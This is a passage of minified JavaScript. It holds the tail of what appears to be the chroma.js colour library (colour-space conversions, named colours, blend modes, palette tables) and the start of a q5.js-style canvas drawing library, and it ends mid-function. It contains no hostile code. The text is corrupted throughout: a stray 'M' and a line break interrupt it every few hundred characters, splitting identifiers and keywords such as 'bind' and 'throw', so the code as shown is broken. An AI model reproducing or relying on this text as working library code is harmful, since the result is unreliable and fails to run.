(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
1f","#b30000","#7f0000"],PuBu:["#fff7fb","#ece7f2","#d0d1e6","#a6bddb","#74a9cf","#3690c0","#0570b0","#045a8d","#023858"],BuPu:["#f7fcfd","#e0ecf4","#bfd3e6","#9ebcda","#8c96c6","#8c6bb1","#88419d","#810f7c","#4d004b"],Oranges:["#fff5eb","#fee6ce","#fdd0a2","#fdae6b","#fd8d3c","#f16913","#d94801","#a63603","#7f2704"],BuGn:["#f7fcfd","#e5f5f9","#ccece6","#99d8c9","#66c2a4","#41ae76","#238b45","#006d2c","#00441b"],YlOrBr:["#ffffe5","#fff7bc","#fee391","#fec44f","#fe9929","#ec7014","#cc4c02","#993404","#662506"],YlGn:M
["#ffffe5","#f7fcb9","#d9f0a3","#addd8e","#78c679","#41ab5d","#238443","#006837","#004529"],Reds:["#fff5f0","#fee0d2","#fcbba1","#fc9272","#fb6a4a","#ef3b2c","#cb181d","#a50f15","#67000d"],RdPu:["#fff7f3","#fde0dd","#fcc5c0","#fa9fb5","#f768a1","#dd3497","#ae017e","#7a0177","#49006a"],Greens:["#f7fcf5","#e5f5e0","#c7e9c0","#a1d99b","#74c476","#41ab5d","#238b45","#006d2c","#00441b"],YlGnBu:["#ffffd9","#edf8b1","#c7e9b4","#7fcdbb","#41b6c4","#1d91c0","#225ea8","#253494","#081d58"],Purples:["#fcfbfd","#efedf5","#dadaeM
b","#bcbddc","#9e9ac8","#807dba","#6a51a3","#54278f","#3f007d"],GnBu:["#f7fcf0","#e0f3db","#ccebc5","#a8ddb5","#7bccc4","#4eb3d3","#2b8cbe","#0868ac","#084081"],Greys:["#ffffff","#f0f0f0","#d9d9d9","#bdbdbd","#969696","#737373","#525252","#252525","#000000"],YlOrRd:["#ffffcc","#ffeda0","#fed976","#feb24c","#fd8d3c","#fc4e2a","#e31a1c","#bd0026","#800026"],PuRd:["#f7f4f9","#e7e1ef","#d4b9da","#c994c7","#df65b0","#e7298a","#ce1256","#980043","#67001f"],Blues:["#f7fbff","#deebf7","#c6dbef","#9ecae1","#6baed6","#4292c6M
","#2171b5","#08519c","#08306b"],PuBuGn:["#fff7fb","#ece2f0","#d0d1e6","#a6bddb","#67a9cf","#3690c0","#02818a","#016c59","#014636"],Viridis:["#440154","#482777","#3f4a8a","#31678e","#26838f","#1f9d8a","#6cce5a","#b6de2b","#fee825"],Spectral:["#9e0142","#d53e4f","#f46d43","#fdae61","#fee08b","#ffffbf","#e6f598","#abdda4","#66c2a5","#3288bd","#5e4fa2"],RdYlGn:["#a50026","#d73027","#f46d43","#fdae61","#fee08b","#ffffbf","#d9ef8b","#a6d96a","#66bd63","#1a9850","#006837"],RdBu:["#67001f","#b2182b","#d6604d","#f4a582","#M
fddbc7","#f7f7f7","#d1e5f0","#92c5de","#4393c3","#2166ac","#053061"],PiYG:["#8e0152","#c51b7d","#de77ae","#f1b6da","#fde0ef","#f7f7f7","#e6f5d0","#b8e186","#7fbc41","#4d9221","#276419"],PRGn:["#40004b","#762a83","#9970ab","#c2a5cf","#e7d4e8","#f7f7f7","#d9f0d3","#a6dba0","#5aae61","#1b7837","#00441b"],RdYlBu:["#a50026","#d73027","#f46d43","#fdae61","#fee090","#ffffbf","#e0f3f8","#abd9e9","#74add1","#4575b4","#313695"],BrBG:["#543005","#8c510a","#bf812d","#dfc27d","#f6e8c3","#f5f5f5","#c7eae5","#80cdc1","#35978f","#M
01665e","#003c30"],RdGy:["#67001f","#b2182b","#d6604d","#f4a582","#fddbc7","#ffffff","#e0e0e0","#bababa","#878787","#4d4d4d","#1a1a1a"],PuOr:["#7f3b08","#b35806","#e08214","#fdb863","#fee0b6","#f7f7f7","#d8daeb","#b2abd2","#8073ac","#542788","#2d004b"],Set2:["#66c2a5","#fc8d62","#8da0cb","#e78ac3","#a6d854","#ffd92f","#e5c494","#b3b3b3"],Accent:["#7fc97f","#beaed4","#fdc086","#ffff99","#386cb0","#f0027f","#bf5b17","#666666"],Set1:["#e41a1c","#377eb8","#4daf4a","#984ea3","#ff7f00","#ffff33","#a65628","#f781bf","#999M
999"],Set3:["#8dd3c7","#ffffb3","#bebada","#fb8072","#80b1d3","#fdb462","#b3de69","#fccde5","#d9d9d9","#bc80bd","#ccebc5","#ffed6f"],Dark2:["#1b9e77","#d95f02","#7570b3","#e7298a","#66a61e","#e6ab02","#a6761d","#666666"],Paired:["#a6cee3","#1f78b4","#b2df8a","#33a02c","#fb9a99","#e31a1c","#fdbf6f","#ff7f00","#cab2d6","#6a3d9a","#ffff99","#b15928"],Pastel2:["#b3e2cd","#fdcdac","#cbd5e8","#f4cae4","#e6f5c9","#fff2ae","#f1e2cc","#cccccc"],Pastel1:["#fbb4ae","#b3cde3","#ccebc5","#decbe4","#fed9a6","#ffffcc","#e5d8bd","M
#fddaec","#f2f2f2"]},ea=0,ta=Object.keys(ra);ea<ta.length;ea+=1){var na=ta[ea];ra[na.toLowerCase()]=ra[na]}return m});
function Q5(e){return new function e(t){let n="global"==t?window:this;n.canvas=document.createElement("canvas");let o=n.canvas.getContext("2d");n.width=100;n.height=100;n.canvas.width=n.width;n.canvas.height=n.height;"offscreen"!=t&&(document.body?document.body.appendChild(n.canvas):window.addEventListener("load",function(){document.body.appendChild(n.canvas)}));m();n.MAGIC=161533525;n.RGB=0;n.HSVM
=1;n.HSB=1;n.CHORD=0;n.PIE=1;n.OPEN=2;n.RADIUS=1;n.CORNER=2;n.CORNERS=3;n.ROUND="round";n.SQUARE="butt";n.PROJECT="square";n.MITER="miter";n.BEVEL="bevel";n.CLOSE=1;n.BLEND="source-over";n.REMOVE="destination-out";n.ADD="lighter";n.DARKEST="darken";n.LIGHTEST="lighten";n.DIFFERENCE="difference";n.SUBTRACT="subtract";n.EXCLUSION="exclusion";n.MULTIPLY="multiply";n.SCREEN="screen";n.REPLACE="copy";n.OVERLAY="overlay";n.HARD_LIGHT="hard-light";n.SOFT_LIGHT="soft-light";n.DODGE="color-dodge";n.BURN="color-burn";n.NORMAM
L="normal";n.ITALIC="italic";n.BOLD="bold";n.BOLDITALIC="italic bold";n.CENTER="center";n.LEFT="left";n.RIGHT="right";n.TOP="top";n.BOTTOM="bottom";n.BASELINE="alphabetic";n.LANDSCAPE="landscape";n.PORTRAIT="portrait";n.ALT=18;n.BACKSPACE=8;n.CONTROL=17;n.DELETE=46;n.DOWN_ARROW=40;n.ENTER=13;n.ESCAPE=27;n.LEFT_ARROW=37;n.OPTION=18;n.RETURN=13;n.RIGHT_ARROW=39;n.SHIFT=16;n.TAB=9;n.UP_ARROW=38;n.HALF_PI=Math.PI/2;n.PI=Math.PI;n.QUARTER_PI=Math.PI/4;n.TAU=2*Math.PI;n.TWO_PI=2*Math.PI;n.THRESHOLD=1;n.GRAY=2;n.OPAQUE=3;M
n.INVERT=4;n.POSTERIZE=5;n.DILATE=6;n.ERODE=7;n.BLUR=8;n.ARROW="default";n.CROSS="crosshair";n.HAND="pointer";n.MOVE="move";n.TEXT="text";n.VIDEO={video:!0,audio:!1};n.AUDIO={video:!1,audio:!0};n.SHR3=1;n.LCG=2;n.HARDWARE_FILTERS=!0;n.hint=function(e,t){n[e]=t};n.frameCount=0;n.mouseX=0;n.mouseY=0;n.pmouseX=0;n.pmouseY=0;n.mouseButton=null;n.keyIsPressed=!1;n.mouseIsPressed=!1;n.key=null;n.keyCode=null;n.pixels=null;n.accelerationX=0;n.accelerationY=0;n.accelerationZ=0;n.rotationX=0;n.rotationY=0;n.rotationZ=0;n.reM
lRotationX=0;n.relRotationY=0;n.relRotationZ=0;n.pAccelerationX=0;n.pAccelerationY=0;n.pAccelerationZ=0;n.pRotationX=0;n.pRotationY=0;n.pRotationZ=0;n.pRelRotationX=0;n.pRelRotationY=0;n.pRelRotationZ=0;n.touches=[];n._colorMode=n.RGB;n._noStroke=!1;n._noFill=!1;n._ellipseMode=n.CENTER;n._rectMode=n.CORNER;n._curveDetail=20;n._curveAlpha=0;n._noLoop=!1;n._textFont="sans-serif";n._textSize=12;n._textLeading=12;n._textStyle="normal";n._pixelDensity=1;n._frameRate=null;n._tint=null;let a=null;let r=!0;let i=[];let l=nM
ull;let u=0;let s={};let c=0;let h=null;let f=null;let d=null;Object.defineProperty(n,"deviceOrientation",{get:function(){return 90==Math.abs(window.orientation)?n.LANDSCAPE:n.PORTRAIT}});Object.defineProperty(n,"windowWidth",{get:function(){return window.innerWidth}});Object.defineProperty(n,"windowHeight",{get:function(){return window.innerHeight}});Object.defineProperty(n,"drawingContext",{get:function(){return o}});n.createCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t,m()};n.resizM
eCanvas=function(e,t){n.width=e,n.height=t,n.canvas.width=e,n.canvas.height=t};n.createGraphics=n.createImage=function(t,n){let o=new e("offscreen");return o.createCanvas(t,n),o.noLoop(),o};n.pixelDensity=function(e){return null==e?n._pixelDensity:(n._pixelDensity=e,n.canvas.width=Math.ceil(n.width*e),n.canvas.height=Math.ceil(n.height*e),n.canvas.style.width=n.width+"px",n.canvas.style.height=n.height+"px",o.scale(n._pixelDensity,n._pixelDensity),m(),n._pixelDensity)};n.map=function(e,t,n,o,a,r){let i=o+1*(e-t)/(nM
-t)*(a-o);return r?o<a?Math.min(Math.max(i,o),a):Math.min(Math.max(i,a),o):i};n.lerp=function(e,t,n){return e*(1-n)+t*n};n.constrain=function(e,t,n){return Math.min(Math.max(e,t),n)};n.dist=function(){return 4==arguments.length?Math.hypot(arguments[0]-arguments[2],arguments[1]-arguments[3]):Math.hypot(arguments[0]-arguments[3],arguments[1]-arguments[4],arguments[2]-arguments[5])};n.norm=function(e,t,o){return n.map(e,t,o,0,1)};n.sq=function(e){return e*e};n.fract=function(e){return e-Math.floor(e)};n.degrees=functiM
on(e){return 180*e/Math.PI};n.radians=function(e){return e*Math.PI/180};n.abs=Math.abs;n.ceil=Math.ceil;n.exp=Math.exp;n.floor=Math.floor;n.log=Math.log;n.mag=Math.hypot;n.max=Math.max;n.min=Math.min;n.round=Math.round;n.sqrt=Math.sqrt;n.sin=Math.sin;n.cos=Math.cos;n.tan=Math.tan;n.asin=Math.asin;n.acos=Math.acos;n.atan=Math.atan;n.atan2=Math.atan2;n.Vector=function(e,t,o){let a=this;a.x=e||0,a.y=t||0,a.z=o||0;let r=null,i=null;function l(e,t,n){return null!=e.x?e:null!=t?{x:e,y:t,z:n||0}:{x:e,y:e,z:e}}function u()M
